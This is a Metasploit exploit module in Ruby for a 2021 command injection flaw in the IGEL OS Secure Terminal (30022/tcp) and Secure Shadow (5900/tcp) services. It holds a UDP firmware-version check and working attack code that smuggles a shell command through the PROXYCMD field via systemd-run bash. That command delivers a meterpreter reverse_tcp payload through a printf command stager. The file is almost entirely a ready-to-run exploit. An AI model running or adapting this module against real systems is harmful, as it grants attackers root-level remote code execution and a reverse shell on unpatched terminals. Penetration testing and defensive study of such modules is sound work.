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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Udp
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::CmdStager
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'IGEL OS Secure VNC/Terminal Command Injection RCE',
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        'Description' => %q{
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          This module exploits a command injection vulnerability in IGEL OS Secure Terminal
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          and Secure Shadow services.
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          Both Secure Terminal (telnet_ssl_connector - 30022/tcp) and Secure
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          Shadow (vnc_ssl_connector - 5900/tcp) services are vulnerable.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Rob Vinson',         # Discovery
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          'James Brytan',       # Research and testing
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          'James Smith',        # Research and testing
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          'Marisa Mack',        # Research and testing
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          'Sergey Pashevkin',   # Research and testing
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          'Steven Laura'        # Research and testing
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        ],
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        'References' => [
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          [ 'URL', 'https://kb.igel.com/securitysafety/en/isn-2021-01-igel-os-remote-command-execution-vulnerability-41449239.html' ],
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          [ 'URL', 'https://www.igel.com/wp-content/uploads/2021/02/lxos_11.04.270.txt' ]
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        ],
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        'Platform' => ['linux'],
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        'Arch' => [ARCH_X86, ARCH_X64],
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        'Targets' => [
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          [
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            'Secure Terminal Service',
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            {
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              'Arch' => [ARCH_X86, ARCH_X64],
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              'Type' => :cmd,
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              'Platform' => 'linux',
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              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 30022 }
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            }
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          ],
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          [
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            'Secure Shadow Service',
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            {
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              'Arch' => [ARCH_X86, ARCH_X64],
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              'Type' => :cmd,
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              'Platform' => 'linux',
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              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 5900 }
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            }
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          ],
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        ],
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        'Privileged' => true,
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        'DisclosureDate' => '2021-02-25',
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        'CmdStagerFlavor' => ['printf'],
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        'DefaultTarget' => 0,
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        'DefaultOptions' => {
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          'PrependFork' => true
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        },
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        'Notes' => {
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          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
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          'Reliability' => [REPEATABLE_SESSION],
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          'Stability' => [CRASH_SAFE]
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        }
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      )
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    )
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    register_advanced_options(
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      [
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        # must enable SSL
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        OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true]),
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      ]
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    )
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  end
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  def check
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    probe = '<igel_scan></igel_scan>'
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    connect_udp(true, 'RPORT' => 30005)
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    udp_sock.put(probe)
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    res = udp_sock.recvfrom(65535, 0.5)
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    disconnect_udp
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    unless res && res[0]
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      return Exploit::CheckCode::Unknown
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    end
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    probe_response = res[0]
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    matches = probe_response.match(/firmwareversion=<([0-9.]+)>/)
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    unless matches
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      return Exploit::CheckCode::Unknown
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    end
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    version = matches.captures[0]
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    vprint_status("IGEL OS Version: #{version}")
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    version = Rex::Version.new(version)
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    if version < Rex::Version.new('10.06.220') && version >= Rex::Version.new('10.0.0')
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      return Exploit::CheckCode::Appears
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    elsif version < Rex::Version.new('11.04') && version >= Rex::Version.new('11.03.620')
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      return Exploit::CheckCode::Safe
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    elsif version < Rex::Version.new('11.04.270') && version >= Rex::Version.new('11.0.0')
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      return Exploit::CheckCode::Appears
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def execute_command(cmd, _opts = {})
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    vprint_status("executing: #{cmd}")
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    connect
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    sock.put(%(PROXYCMD PW_;/usr/bin/systemd-run --scope bash -c "#{cmd}";false))
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  ensure
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    disconnect
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  end
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  def exploit
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    execute_cmdstager(linemax: 150, noconcat: true, delay: 2)
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  rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
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    fail_with(Failure::Unreachable, "Failed executing payload with error #{e}.")
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  end
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end
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